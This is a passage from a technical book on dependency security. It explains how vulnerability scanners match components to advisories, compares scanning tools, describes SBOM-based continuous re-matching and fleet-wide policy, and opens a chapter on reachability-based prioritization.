The through-line: **identification is easy when a coordinate travels with the component and hard when it has been stripped, renamed, inlined, or minified.** The accuracy of a "yes, this is log4j-core 2.14.1" claim ranges from certain (lockfile) to educated guess (fingerprinted static link), and good tooling attaches a *confidence* to the identification rather than presenting all matches as equally certain.

Matching components to vulnerability records

Given identified components, matching joins them against the vulnerability data (Chapter 5). The quality of this join is dominated by the **CPE-vs-purl** distinction covered at length in Chapter 5, so we only restate the operational consequence here: a purl-keyed match against OSV compares ecosystem-native coordinates and version ranges deterministically; a CPE-keyed match against NVD must first guess a product string and then evaluate a version range, and both the guess and the range can go wrong. Version-range evaluation itself is subtle — is `1.2.0-rc1` before or after `1.2.0`? does a Maven qualifier or a PEP 440 epoch reorder things? — and a matcher that applies generic semver to an ecosystem with its own ordering rules lands on the wrong side of a boundary. OSV's per-`type` comparison (`SEMVER` / `ECOSYSTEM` / `GIT`) exists to make this deterministic; tools that honor it agree at range edges and tools that don't, don't.

Both error directions are structural, not bugs:

- **False positives** — matched but not actually the vulnerable configuration. The version is in the affected range, but: the vulnerable *feature* is compiled out or not enabled; a distro backported the fix without bumping the version NVD keys on; the code path is unreachable in your usage (the reachability problem, Chapter 7); or a CPE collision matched an unrelated product. These are the dominant contributor to alert fatigue.
- **False negatives** — a real vulnerability not reported. The component was missed at discovery (vendored/shaded/static); no advisory exists yet, or exists only in a database your tool doesn't ingest; the CPE was never assigned (the 2024 NVD backlog, Chapter 5); or the identification failed to pin a version. False negatives are more dangerous because they are *invisible* — a quiet gap you have no signal about.

The uncomfortable truth is that you cannot tune these to zero simultaneously: loosening matching to catch more (fewer false negatives) admits more noise (more false positives), and tightening does the reverse. Which is why the back half of this chapter — prioritization, suppression, aggregation — is not optional polish. It is how you make an inherently noisy signal usable.

The tool landscape

There are many SCA tools and they blur together in marketing. They are far easier to reason about by the *capabilities* they combine on top of the shared three-stage pipeline. The base capability — discover components, match against a vulnerability database, report — is commoditized; every tool below does it. What differentiates them is what they add.

Open-source tools

- **OSV-Scanner** (Google) — the reference client for OSV (Chapter 5). Reads lockfiles, SBOMs, directories, and Debian/container packages; matches purl-keyed against osv.dev. Its value is data quality and correctness of matching (no CPE guessing), not breadth of features. Newer versions add a guided remediation mode.
- **Trivy** (Aqua Security) — the swiss-army scanner. One binary scans container images, filesystems, git repos, Kubernetes clusters, and

SBOMs, and covers OS packages *and* language dependencies *and* IaC misconfigurations *and* secrets. It maintains its own aggregated vulnerability database (drawing on NVD, GHSA, OSV, and per-distro feeds with backport awareness). Its breadth makes it the common default for container scanning.

- **Grype** (Anchore) — an image/filesystem vulnerability matcher designed to pair with **syft**, Anchore's SBOM generator. The intended workflow is the SBOM-driven pattern in the next section: `syft` produces an SBOM once; `grype` matches that SBOM against vulnerability data, and can re-match the *same* SBOM later as new advisories land. This clean separation of inventory (syft) from matching (grype) is architecturally the point.
- **OWASP Dependency-Check** — one of the oldest, historically **NVD/CPE-based**. It infers CPEs from evidence in JARs, .NET assemblies, and other artifacts and matches against NVD. It inherits every CPE weakness from Chapter 5 (guessed CPEs, false positives, dependence on NVD enrichment) and the 2024 backlog hit it hard, but it remains widely embedded in Java build pipelines.
- **Ecosystem-native scanners** — the package managers' own auditors: `npm audit` / `yarn audit` / `pnpm audit` (sourced from the GitHub Advisory Database), `pip-audit` (PyPA/PySec), `cargo audit` (RustSec), `bundler-audit` (Ruby), `composer audit` (PHP). They are convenient because they need no extra tooling and understand their ecosystem's lockfile natively; they are limited to that ecosystem and to version-level matching. **`govulncheck`** (Go) is the standout exception: it uses the Go vulnerability database's record of *which symbols* are vulnerable plus static call-graph analysis to report only vulnerabilities whose vulnerable *function your code actually calls* — genuine symbol-level reachability, not version-only matching. It is the one mainstream ecosystem scanner that filters by reachability out of the box; do not assume other ecosystem auditors do anything similar (they don't).
- **Dependabot** (GitHub) — not a CLI you run but a hosted service that continuously matches a repository's dependency graph against the GitHub Advisory Database and opens alerts and automated update PRs. Its strength is zero-setup continuous scanning and the automated PR remediation loop (see Chapter 9 — Dependency Update Strategy and Automation); its scope is what GitHub's dependency graph understands.

Commercial tools

The commercial platforms (Snyk, Mend formerly WhiteSource, Black Duck, Sonatype Nexus Lifecycle, JFrog Xray, Socket, Endor Labs, Semgrep Supply Chain, and others) all perform the base pipeline; describe them by the categories of value they add:

- **Reachability analysis.** Several (Endor Labs, Snyk, Semgrep Supply Chain among them) offer static reachability — call-graph analysis to distinguish "vulnerable version present" from "vulnerable code reachable from your app," the manual version of what `govulncheck` does for Go. The depth, language coverage, and accuracy vary widely, and reachability has real limits (reflection, dynamic dispatch, config-driven code paths) covered in Chapter 7. Treat vendor reachability claims as "reduces noise substantially in supported languages," not "eliminates false positives."
- **Curated advisory databases.** A major commercial differentiator is a *proprietary* vuln database claimed to be faster and more complete than public sources — advisories added before a CVE exists, richer affected-range data, corrected false entries. This can be real value (the public feeds have genuine gaps and latency), but it is also a lock-in vector and unverifiable from outside; weigh it against the open OSV data it supplements.
- **License and policy analysis.** Most commercial tools also do open-source **license** detection and policy (flagging GPL in a proprietary product, tracking obligations) — a compliance concern adjacent to but distinct from vulnerability scanning, and often the original reason an organization bought the tool.
- **Malware / supply-chain signals.** A newer category (Socket most prominently, also Endor, Snyk) analyzes package *behavior and provenance* — install scripts, network access, obfuscation, maintainer changes, typosquatting — to catch **malicious** packages. Note carefully: this is the Chapter 4 problem, *not* vulnerability scanning, even when sold in the same product. Finding a malicious package and finding a known-CVE-in-a-benign-package are different analyses; a tool doing both is running two engines behind one dashboard.

The practical guidance: choose based on which *added* capability you actually need, and do not assume "commercial" implies "reachability" or

"no false positives." The base matching quality of a good open-source tool (OSV-Scanner, Trivy, Grype) is competitive; you pay for reachability, curated data, license/compliance, malware signals, and the platform (dashboards, integrations, support) — decide which of those you're buying.

The SBOM-driven pattern: scan once, re-match forever

Recall the two-clocks observation: inventory changes rarely, vulnerability data changes constantly. The architectural consequence is to **decouple discovery from matching** by making an **SBOM** the durable interface between them. Generate a Software Bill of Materials once, at build time, when you have maximum information (the full build context, the exact artifact). Then match that SBOM against vulnerability data *repeatedly*, forever, as new advisories arrive — without ever rebuilding or re-discovering.

```
flowchart TD
    B["Build (once)"] --> G["Generate SBOM
(syft / build plugin / Trivy)
components as purls"]
    G --> Store[("SBOM store")]
    Store --> M1["Match @ T0"]
    Store --> M2["Match @ T0 + 1 week"]
    Store --> M3["Match @ T0 + 3 months
(new CVE disclosed)"]
    VD[("Vuln feed:
OSV / NVD / GHSA
continuously updated")] --> M1
    VD --> M2
    VD --> M3
    M3 --> Alert["'Shipped artifact X
is now affected by
CVE-Y disclosed today'"]
```

This is not a minor optimization; it changes what SCA *is*. In the scan-the-repo model, a vulnerability disclosed against code you shipped three months ago is invisible until someone happens to rebuild and rescan. In the SBOM-driven model, the newly disclosed CVE is matched against your stored inventory of *already-shipped* artifacts automatically, and you learn that a running service became vulnerable overnight — even though nothing about that service changed. `syft` + `grype` is the canonical open-source realization (syft writes the SBOM, grype re-matches it), and it is the mechanism behind the continuous re-scanning scan point below and

the central aggregation architecture at the end of the chapter. Book 3 covers SBOM formats and generation in depth; the point *here* is that the SBOM is what makes "scan once, re-match forever" possible.

Where SCA is deployed across the SDLC

SCA is not one gate; it is a series of checkpoints, each with a different cost/latency/blocking trade-off. The design principle is **shift left for fast feedback, but keep scanning right because new vulnerabilities are disclosed against old code.** The two are complementary, not alternatives.

```
flowchart LR
    IDE["IDE plugin
(as you add a dep)"] --> PC["Pre-commit hook"]
    PC --> PR["PR / CI check
(lockfile / build-graph scan)"]
    PR --> Reg["Registry-proxy
ingestion scan (Ch 8)"]
    PR --> Build["Build:
generate SBOM
+ image scan"]
    Build --> ArtReg["Artifact / image
registry scan"]
    ArtReg --> Adm["Admission control
(Book 6)"]
    Adm --> Runtime["Deployed"]
    Runtime -.->|"re-match stored SBOMs
as new CVEs land"| Cont["Continuous
re-scanning"]
    Cont -.->|"new finding on
shipped artifact"| PR
```

- **IDE** — a plugin flags a vulnerable version as you add or update a dependency, at the moment the fix is cheapest (you're already editing that file). Advisory, never blocking.
- **Pre-commit** — a fast lockfile scan in a git hook, catching an obviously vulnerable newly-added dependency before it's even pushed. Must be fast (seconds) and is easily bypassed (`--no-verify`), so it's a convenience, not a control.
- **PR / CI check** — the primary developer-facing gate. On every pull request, scan the lockfile or build graph and post findings as a status check. This is where *policy* first bites (below), and where the fast,

precise source-level methods belong. Keep it fast enough not to become the bottleneck of every PR.

- **Registry-proxy ingestion scanning** — scan packages *as they enter* your organization through an internal proxy/mirror (Artifactory, Nexus, a pull-through cache), before any project depends on them. This is a chokepoint control covered in Chapter 8 — Vendoring, Mirroring, and Internal Registries; it also catches malicious packages (Chapter 4) at the door.
- **Build / SBOM generation + image scan** — at build time, generate the SBOM (the durable inventory) and scan the built image, catching the OS-package and native-library layer that source scanning misses.
- **Artifact/image registry scanning** — the registry (Harbor, ECR, GAR, Artifactory) scans pushed images and re-scans stored ones on a schedule, so an image that was clean when pushed gets re-evaluated as new CVEs land.
- **Admission control** — the deployment gate. A Kubernetes admission controller (Book 6) can refuse to run an image that fails policy or lacks a passing scan attestation. This is the last enforcement point before code runs.
- **Continuous re-scanning** — the closing of the loop and the reason "shift left" alone is insufficient. Because vulnerabilities are disclosed against already-shipped code, you must continuously re-match the stored SBOMs of deployed artifacts (the pattern above) and route new findings back into the remediation flow — the same channel a PR finding uses.

The mistake to avoid is treating the PR gate as the whole program. A PR gate scans what *changes*; it says nothing about the hundreds of already-deployed services whose dependencies didn't change but whose *risk* did when a new CVE dropped. The continuous re-scan of stored inventory is what covers them, and it is the capability that turns SCA from a build-time checkbox into fleet-wide vulnerability management.

Operating SCA at scale: the hard part

Everything so far is mechanism. This section is the operational reality, and it is where most SCA programs fail — not because the scanner is wrong, but because its output is unusable.

The alert-fatigue crisis

Do the arithmetic. Take 300 services. Give each an average of, say, 200 resolved dependencies (direct plus transitive — conservative for a modern app). That is 60,000 component instances. Now the world discloses new vulnerabilities continuously, matching against components you already ship. A raw, unfiltered scanner run across this fleet produces findings in the **thousands to tens of thousands**, refreshed constantly, most of them repeats of the same vulnerable library appearing in service after service, and a large fraction *not actually exploitable* in the way that matters (unreachable code, disabled feature, backported fix, test-only scope).

This is **the** operational problem of SCA, and it is not a tuning nuisance — it is an existential threat to the program's value. When every service carries fifty "critical" findings and the truly exploitable set is three, engineers learn — correctly, rationally — that the queue is noise, and they stop looking. Then the one finding that matters (a KEV-listed, internet-reachable RCE) arrives in the same undifferentiated pile and drowns. **A scanner that over-reports does not merely annoy; it destroys the signal it exists to provide.** The entire back half of SCA engineering is the fight against this. Four levers, used together:

1. Risk-based prioritization (Chapter 5's EPSS and KEV). Do not sort by CVSS base score and start at 10.0 — you will spend week one on unreachable theoretical criticals. Lead with **KEV** (is it being actively exploited *right now*? — if yes, drop everything) and **EPSS** (what is the model's probability it will be exploited?), use **CVSS** as the severity axis, and gate on reachability. This reorders the pile so the top of it is worth acting on. It reduces *what you look at first*; it does not reduce the pile's size.

2. Reachability analysis (Chapter 7). The largest reducer of *volume*. A vulnerability in a library function your code never calls is, for prioritization purposes, close to harmless. Tools that can determine reachability — `govulncheck` for Go out of the box, several commercial tools for other languages — filter out the vulnerable-but-unreachable findings *before* they reach a human. In practice this can remove a large majority of raw findings, though with the caveats Chapter 7 details (reflection, dynamic loading, and config-driven paths defeat static call-graph analysis, so reachability *reduces* noise rather than *eliminating* it).

3. VEX suppression (Book 3, Chapter 6). When a human *does* assess a finding and concludes "not affected — the vulnerable path is unreachable / the feature is disabled / it's test-scoped," that judgment should be recorded once, machine-readably, as a **VEX** (Vulnerability Exploitability eXchange) statement, so it *suppresses the finding everywhere it recurs* — fleet-wide, on every future scan — instead of being re-litigated in every team's backlog every week. VEX is how you prevent the same false positive from costing you the same triage effort a hundred times. Without it, suppression decisions evaporate and the noise regrows.

4. Deduplication and central aggregation. The same vulnerable `log4j-core` in 80 services is *one* problem with 80 locations, not 80 problems. Collapsing findings by the alias graph (Chapter 5 — one CVE/GHSA/RUSTSEC flaw = one logical finding) and by component-across-services turns "10,000 findings" into "300 distinct vulnerabilities, ranked, each with a list of affected services." This is the difference between an unmanageable queue and a work list. It requires the central aggregation architecture below.

Policy: turning findings into gates

A finding is information; a *policy* decides what happens. The core knob is the **fail-the-build threshold**, and the naive version — "fail on any Critical" — is wrong at scale because it fails builds on unreachable, unexploitable, or unfixable-today findings and trains developers to disable the gate. Better policies are multi-dimensional:

- **By severity** — the baseline (fail on Critical/High), but a poor sole criterion.
- **By exploitability** — fail on **KEV membership** (actively exploited) regardless of CVSS; gate High on an EPSS threshold. This targets the findings that actually matter.
- **By reachability** — fail only on findings the reachability engine confirms reachable; warn on unreachable. This is the single biggest reducer of false-blocking.
- **By fix availability** — fail on a vulnerability that *has* a fixed version (actionable) and merely warn where no fix exists yet (blocking helps no one, and just teaches bypass).

- **By scope** — don't fail production builds on test-only-scoped dependencies.

Around the threshold you need release valves, or the gate gets disabled wholesale:

- **Grace periods** — a newly disclosed vulnerability doesn't fail builds for N days, giving teams time to react rather than breaking every pipeline the instant a CVE publishes.
- **Allowlists / exceptions with mandatory expiry** — a team can suppress a specific finding, but the exception *expires* (30/60/90 days) and reappears, so suppressions don't become permanent amnesia. An exception without an expiry date is technical debt you will never see again.
- **Breaking-glass** — a documented, audited override so a genuinely urgent deploy is never *hard*-blocked by the scanner in an emergency, with the override logged for review.

And the rollout discipline: **warn-then-enforce.** Never turn on a hard-blocking gate cold across a fleet — you will break hundreds of pipelines simultaneously and the org will route around you. Ship the policy in *warn* mode first (findings reported, builds pass), measure the would-be blocking rate, drive the backlog down, then flip to *enforce* for new findings while grandfathering existing ones through a deadline. This is the same paved-road, warn-then-enforce rollout pattern that governs any fleet-wide control (Book 1, Chapter 10 — Building a Program).

Central aggregation: one system, not 500 dashboards

The anti-pattern is 500 pipelines each running an independent scanner writing to 500 separate reports, because the fleet-critical question — "**who across the whole fleet is affected by CVE-X?**" — is then answerable only by a fleet-wide rescan, which at 2 a.m. during a Log4Shell is exactly what you don't have time for. The correct architecture **decouples inventory from matching and centralizes both**, so that question is a single database query.

```
flowchart TD
    subgraph Fleet["Many services / pipelines"]
      S1["service A build"] -->|SBOM| Store
      S2["service B build"] -->|SBOM| Store
      S3["service C build"] -->|SBOM| Store
      Sn["... service N"] -->|SBOM| Store
    end
    Store[("Central SBOM /
inventory store")] --> Corr["Correlation engine:
match purl inventory
× vuln records,
dedup by alias graph"]
    Feeds[("Vuln feeds:
OSV / NVD / GHSA
+ EPSS / KEV")] --> Corr
    VEX[("VEX statements:
'not affected' decisions")] --> Corr
    Corr --> Q["Query:
'which services ship
an affected log4j-core?'
→ answered in seconds"]
    Corr --> Dash["Fleet dashboard,
prioritized, deduped"]
```

This is the **Dependency-Track** pattern (OWASP Dependency-Track is the reference open-source implementation; several commercial platforms do the same). Every build submits its SBOM to a central store; the store continuously correlates the accumulated inventory against updated vulnerability feeds *and* against a corpus of VEX statements; and the output is one deduplicated, prioritized, VEX-suppressed view of the whole fleet. The properties this buys you:

- **Continuous re-matching** falls out for free — new advisory arrives, correlation engine re-evaluates *all* stored SBOMs, no rebuilds (the scan-once-re-match-forever pattern, now at fleet scale).
- **Fleet-wide dedup** — one CVE with a list of affected services, not the same CVE re-reported by 80 pipelines.
- **VEX applied centrally** — a "not affected" decision suppresses the finding everywhere at once.
- **The Log4Shell query becomes O(seconds).** When the next critical dependency vulnerability drops, "which of our services ship an affected version, and which are reachable/internet-facing" is a query against known inventory, not a fleet-wide fire drill. **This is the**

single capability that most distinguishes an organization that handled Log4Shell in hours from one that spent weeks.

The central store is fleet infrastructure, the same way a metrics system or a service catalog is. Building it is the architectural work that makes SCA scale past a handful of repos.

Limitations: what SCA does not do

Be precise about the boundary, because the most dangerous failure in this domain is a false sense of coverage. **SCA finds *known* vulnerabilities in *known* components.** That is a valuable, necessary capability. It is nowhere near sufficient for security, and it specifically does *not* find:

- **Malicious packages.** A backdoored or credential-stealing package (event-stream, the xz backdoor, typosquats) is not a "known vulnerability in a known component" — it is hostile code, often in a package with no CVE at all, and detecting it requires behavioral/provenance analysis, a *different discipline* covered in Chapter 4. An SCA tool that also does malware detection is running a second, separate engine; the version-matching engine at the heart of SCA is blind to malice. **Do not assume a clean SCA scan means no malicious dependencies.**
- **Zero-days and undisclosed vulnerabilities.** SCA matches against *published* advisories. A vulnerability that exists but has not been disclosed is, by definition, not in any database and will not be found. SCA's coverage is exactly as current as the vulnerability feeds — and no more.
- **Vulnerabilities without advisories.** Even *known* bugs that never received a CVE or an ecosystem advisory (the long tail, Chapter 5) are invisible to matching. OSV's aggregation shrinks this gap but does not close it.
- **First-party bugs.** SCA looks at your *dependencies*, not your code. The SQL injection, the auth bypass, the IDOR *you* wrote is entirely outside its scope — that is the domain of SAST, DAST, code review, and testing.
- **Logic, configuration, and design flaws.** An insecure default, an over-permissive IAM policy, a missing authorization check, a broken

trust boundary — none of these are "a vulnerable version of a component," and SCA sees none of them.

State it plainly: **SCA is necessary, not sufficient, and it is not a synonym for "security."** It is one layer — the known-vulnerable-dependency layer — in a defense that also needs malicious-package detection (Chapter 4), first-party application security (SAST/DAST/review), supply-chain integrity (signing and provenance, Book 5), and runtime controls (Book 6). A green SCA gate means "no *matched known* vulnerabilities in *discovered* components." Read that sentence literally, and never let it be reported to leadership as "our software is secure."

Distributed-systems lens

At the scale this book assumes — hundreds of services, dozens of teams, many languages, many deploys a day — SCA stops being a tool you run and becomes infrastructure you operate. A few principles follow directly from the chapter.

Build a centralized SBOM + vulnerability correlation service as fleet infrastructure. The unit of operation is not "scan this repo" but "maintain an inventory of what every service ships, as purls, and continuously match it against vulnerability feeds and VEX." That correlation service (Dependency-Track-style) is as much core platform as your metrics stack. It is what makes the fleet-wide question answerable and what turns SCA from per-repo checks into vulnerability management.

Scan at three points, because each covers a different gap. *At ingestion* (the registry proxy, Chapter 8) to stop bad components at the door. *At build* (generate the SBOM, scan the image) to capture the deployed reality including native/OS layers. *Continuously* (re-match stored SBOMs) because the vulnerability clock runs independently of the deploy clock — new CVEs land against old, unchanged code, and only continuous re-matching catches them. Any one of these alone leaves a structural blind spot.

The real metric is fleet MTTR-to-patch, not scan coverage. "Percentage of repos scanned" is a vanity metric; a scanner that finds everything and fixes nothing is theater. The number that predicts whether the next Log4Shell hurts is **how fast a newly disclosed, reachable, exploited vulnerability goes from disclosure to patched-and-deployed across every affected service** — mean time to

remediate, measured across the fleet, ideally split by severity/KEV. Optimizing it drives the whole program: fast prioritization (KEV/EPSS), noise reduction (reachability, VEX) so humans work the right findings, deduped fleet-wide visibility (central aggregation), and automated remediation (Chapter 9).

Make the scanner part of the paved road, inherited, not adopted. Five hundred teams will not each integrate, tune, and operate a scanner well; a handful never will, and those are the ones that get breached. The scalable model is a **paved-road** CI template / reusable pipeline that *every* build inherits, which generates the SBOM, submits it to the central store, and applies the org policy — so scanning is the default a team gets for free, not a project each team must take on. Teams opt *out* (visibly, with justification) rather than opt *in*. This is the same paved-road-plus-warn-then-enforce pattern that governs every fleet-wide control in this suite (Book 1, Chapter 10), applied to dependency scanning.

Key takeaways

- **SCA is a three-stage pipeline — discovery, matching, policy — and the stages are decoupled.** Discovery builds an inventory (ideally purls); matching joins it to vulnerability data; policy turns findings into action. The inventory and the vulnerability data change on *different clocks*, which is the whole basis for the SBOM-driven architecture.
- **Discovery method determines whether results are even complete.** Lockfile parsing is fast and precise but blind to vendored/bundled/native code; build-graph integration is accurate for the resolved graph but needs a working build; binary/artifact scanning (syft, Trivy) catches the deployed reality but identifies with lower confidence. Mature programs run a **hybrid** — source-level at PR, binary at artifact — because no single method is complete.
- **Component identification is easy with a coordinate and hard without one.** Shaded jars, statically linked C, minified JS, and vendored copies strip the coordinate away — the "where is Log4j, even shaded" problem — and identification degrades from certainty to fingerprinted guess. Match quality then hinges on purl-vs-CPE (Chapter 5). Both false positives and false negatives are structural, not bugs.

- **Know the tools by capability, not brand.** Base matching is commoditized (OSV-Scanner, Trivy, Grype are competitive); you pay commercially for reachability, curated data, license/compliance, and malware signals. `govulncheck`'s symbol-level reachability and the syft+grype inventory/matching split are the two open-source behaviors worth internalizing.
- **"Scan once, re-match forever" via SBOMs is the key architectural pattern.** Generate the SBOM at build; re-match it against updated feeds indefinitely, so you learn when an *already-shipped* artifact becomes vulnerable to a *newly disclosed* CVE — even though nothing about it changed.
- **Scan across the SDLC — shift left *and* keep scanning right.** IDE/pre-commit/PR for fast feedback; ingestion/build/registry/admission for enforcement; continuous re-scanning of stored SBOMs because vulnerabilities are disclosed against old code. The PR gate alone is not a program.
- **Alert fatigue is THE operational problem.** Hundreds of services × hundreds of deps × constant new CVEs is unmanageable raw. Fight it with prioritization (KEV then EPSS then CVSS), reachability (Chapter 7), VEX suppression (Book 3, Chapter 6), and dedup/central aggregation. Over-reporting destroys the signal.
- **Policy must be multi-dimensional and rolled out warn-then-enforce.** Gate by exploitability (KEV), reachability, and fix availability — not raw severity — with grace periods, expiring exceptions, and breaking-glass, introduced in warn mode before enforcing.
- **Centralize into one correlation system (the Dependency-Track pattern), not 500 dashboards.** SBOM store + vuln feeds + VEX, deduped by the alias graph, makes "who across the fleet is affected by CVE-X" a one-second query — the capability that separates an hours-long Log4Shell response from a weeks-long one.
- **SCA finds known vulns in known components — nothing more.** It does *not* find malicious packages (Chapter 4's different problem), zero-days, unadvised bugs, first-party vulnerabilities, or logic/config flaws. It is necessary, not sufficient; a green gate is not "secure."

Further reading

- OWASP Dependency-Track — the reference central SBOM/vulnerability aggregation platform (https://dependencytrack.org/ and https://github.com/DependencyTrack/dependency-track).
- OWASP Dependency-Check — the CPE/NVD-based scanner and its documentation (https://owasp.org/www-project-dependency-check/).
- OSV-Scanner — Google's reference OSV client (https://github.com/google/osv-scanner and https://google.github.io/osv-scanner/).
- Syft (SBOM generation) and Grype (vulnerability matching), Anchore — the canonical inventory/matching split (https://github.com/anchore/syft and https://github.com/anchore/grype).
- Trivy — the multi-target scanner (image, filesystem, repo, Kubernetes, SBOM), Aqua Security (https://trivy.dev/ and https://github.com/aquasecurity/trivy).
- govulncheck and the Go vulnerability database — symbol-level reachability (https://go.dev/security/vuln/ and https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck).
- Ecosystem auditors: `npm audit` (https://docs.npmjs.com/cli/commands/npm-audit), `pip-audit` (https://github.com/pypa/pip-audit), `cargo audit` (https://github.com/rustsec/rustsec).
- GitHub Dependabot alerts and the dependency graph (https://docs.github.com/en/code-security/dependabot).
- The OSV Schema and osv.dev (data model these tools consume — Chapter 5) (https://ossf.github.io/osv-schema/ and https://osv.dev/).
- Package URL (purl) specification — the component-identity backbone (https://github.com/package-url/purl-spec).
- CISA Known Exploited Vulnerabilities Catalog and the EPSS model, for prioritization inputs (https://www.cisa.gov/known-exploited-vulnerabilities-catalog and https://www.first.org/epss/).
- On SBOM formats and generation (the inventory substrate): Book 3. On reachability and exploitability mechanics: Chapter 7. On VEX: Book 3, Chapter 6. On admission control: Book 6.

- The Apache Log4j / Log4Shell disclosure (CVE-2021-44228) and the shaded-jar detection problem, for the identification hard case (https://logging.apache.org/log4j/2.x/security.html).

Chapter 7 — Reachability, Exploitability, and Prioritization

What this chapter covers. By the end of Chapter 6 you can point a scanner at a fleet and get an authoritative answer to the question "which vulnerable package versions are we running, and where?" That answer, for any organization past a few hundred services, is a firehose. A single mid-sized company routinely carries tens of thousands of open findings across its inventory, and the raw list is sorted — if it is sorted at all — by CVSS base score. That sort is close to useless. A CVSS 9.8 in a library you pull in for a code path you never execute is noise; a CVSS 5.3 in an internet-facing parser that an attacker is exploiting *today* is a fire. This chapter is about closing the gap between "a vulnerability is present" and "a vulnerability matters to us," which is the single largest source of wasted effort — and missed real risk — in dependency security. We build up the filtering pipeline layer by layer, spend most of our time on the technical core (**reachability analysis** and its hard limits, especially in dynamic languages), fold in the exploitability signals from Chapter 5 (EPSS, KEV, exploit availability), and assemble them into a defensible prioritization model — including the SSVC decision tree and the role of VEX as the mechanism that lets 500 teams stop re-triaging the same transitive CVE.

Learning goals — after this chapter you should be able to:

- Explain **why CVSS-sorted alert lists fail** as a prioritization mechanism, and articulate the layered "does this actually matter to us?" filter — present, reachable, input-reachable, exploitable, exploited — that a mature program applies instead.
- Define **reachability** precisely and distinguish its levels of precision: package presence, dependency-graph position, and function/symbol-level static call-graph reachability.
- Describe **how symbol-level reachability works** (call graph from entrypoints → vulnerable symbols marked from advisory data →

reachability check), why **Go's govulncheck** is the gold-standard example, and why the same analysis is progressively harder in Java, then JavaScript, then Python — and be honest about the false negatives and false positives on both ends.

- Contrast **static call-graph reachability with runtime/ instrumented reachability** (eBPF and in-process agents) and reason about the trade-offs of each.
- Combine reachability with **exploitability signals** — EPSS, CISA KEV, public exploit availability, attack vector, and internet-exposure — into a single risk ranking, and apply **SSVC** as a repeatable decision tree.
- Use **VEX** to record and communicate triage decisions so that a "not affected because unreachable" verdict is made once and consumed everywhere.

A note on scope. Chapter 5 gave you the vulnerability data model (CVE, NVD, OSV/GHSA, purl, CVSS, EPSS, KEV). Chapter 6 built the scanner that matches that data against your inventory. This chapter assumes both. It is about what you do with the resulting list. How you *record* the decisions as machine-readable VEX is Book 3, Chapter 6 — VEX and Exploitability. How threat intelligence feeds exploitation signals is Book 8, Chapter 7. This chapter is where those threads meet.

The prioritization problem

Start with the failure mode, because naming it precisely tells you what a fix must do.

A scanner emits findings. Left to its own devices it ranks them by CVSS base score, because that is the one number every finding carries. But the CVSS base score, as Chapter 5 laid out in detail, is a deliberately *context-free* measure of a vulnerability's intrinsic severity. It is computed once, by the CNA or NVD, for the vulnerability *in the abstract* — before anyone knows whether you call the affected function, whether the affected service faces the internet, or whether an exploit exists. By construction it encodes none of the things that determine your actual risk. Sorting your work queue by it is like triaging an emergency room by how bad each condition *could* be for *someone*, ignoring which patients are actually in front of you and how sick they actually are.

The consequences are not subtle. Two of them dominate:

- **False urgency.** The top of a CVSS-sorted list is a wall of 9.8s. A large fraction are in transitive dependencies you pull for one narrow feature, on code paths you never reach, in services no attacker can touch. Engineers burn out patching them, or — worse and more common — learn that "critical" means nothing and stop looking. Alert fatigue is not a soft cost; it is the mechanism by which the *real* critical gets ignored.
- **False calm.** The genuinely dangerous finding — internet-reachable, taking untrusted input, with a Metasploit module and a spot on CISA's Known Exploited Vulnerabilities catalog — may carry a CVSS of 7.5 or even 5.3 and sit on page four. A severity sort actively buries it.

At the fleet scale of Chapter 6 this stops being an annoyance and becomes structurally untenable. If you have 40,000 open findings and each takes even ten minutes to look at, that is an impossible amount of human triage; you *must* filter automatically before a human ever sees a list, and the filter must rank by risk *to your system*, not by abstract severity.

The layers of "does this matter?"

The right mental model is a funnel. A raw finding — "package X version Y is affected by CVE-Z, and it is in your inventory" — passes through a sequence of filters, each of which asks a sharper, more context-dependent question, and each of which typically removes a large fraction of what the previous layer let through.

```
flowchart TD
    A["All findings from the scanner
(package present + version in affected range)"] --> B{"Is the
vulnerable code
reachable from our entrypoints?"}
    B -->|"no — present but unused"| X1["Deprioritize / VEX:
not_affected
(vulnerable_code_not_in_execute_path)"]
    B -->|"yes"| C{"Is it reachable with
attacker-controlled input?"}
    C -->|"no — internal-only data"| X2["Lower priority"]
    C -->|"yes"| D{"Exploitable in our
configuration / version / mitigations?"}
    D -->|"no — mitigation present"| X3["VEX: not_affected
(inline_mitigations_already_exist)"]
    D -->|"yes"| E{"Being exploited in the wild?
(KEV / high EPSS / public exploit)"}
    E -->|"no"| F["Fix on normal SLA,
weighted by exposure + criticality"]
    E -->|"yes"| G["Drop everything.
Emergency remediation."]
```

Read the funnel top to bottom as a series of independent yes/no gates, roughly in increasing order of how much context and how much analysis each requires:

1. **Is the vulnerable component present, at an affected version?** This is what basic SCA answers (Chapter 6). It is the entry to the funnel, not a prioritization signal.
2. **Is the vulnerable code reachable from my code?** Present-but-unused is, empirically, the *majority* of findings for most codebases. This is the reachability question, and it is the technical heart of the chapter.
3. **Is it reachable with attacker-controlled input?** A reachable `parse()` that only ever sees a constant you compiled in is very different from one that sees a request body.
4. **Is it exploitable in my configuration?** The classic example is Log4Shell (CVE-2021-44228): the JNDI lookup was only exploitable under specific configurations and JDK versions; some deployments had message-lookup disabled or ran a JVM that blocked the remote-class-loading step. Exploitability is not a property of the library alone.

5. **Is it being exploited in the wild?** KEV membership and high EPSS turn a maybe into a now.

Each layer filters the set down, and — critically — the layers are *cheap-to-expensive and coarse-to-precise* in the same direction. You want to apply the cheap coarse filters (is it even in an affected range? is it a direct or transitive dep of an unused optional feature?) before spending call-graph-analysis cycles, and you want the expensive precise filters (symbol reachability, exploitability-in-config) reserved for the survivors. The rest of this chapter walks the layers in order.

Reachability analysis

Reachability is the question: *does the application actually invoke the vulnerable function or code path, or is the vulnerable dependency merely present-but-unused?* It is the highest-leverage filter in the funnel because the answer is "unused" so often. A modern service's dependency closure is enormous and each dependency exposes a broad API surface of which you touch a sliver. When a vulnerability lands in the 95% of a library you never call, the finding is real — the code *is* in your binary — but the risk to you is essentially nil.

Reachability comes in levels of precision. Sloppy tooling and sloppy conversation conflate them; a serious program is explicit about which level a given verdict rests on, because the levels differ enormously in both cost and trustworthiness.

Level 1 — Package presence

The coarsest level, and what plain SCA reports: *is the affected package, at an affected version, anywhere in my dependency graph?* This is a set-membership test against your resolved dependency tree (Chapter 2's lockfiles) and the advisory's affected-range data (Chapter 5's OSV ranges). It is fast, sound in the "no false negatives at the package granularity" sense, and wildly imprecise: it says nothing about whether you *use* the package, let alone the vulnerable part of it.

Level 2 — Dependency-graph position

A modest refinement that is cheap and worth doing before any code analysis: *where in the graph does the package sit?* A vulnerability in a **direct** dependency you obviously use is different from one buried in a

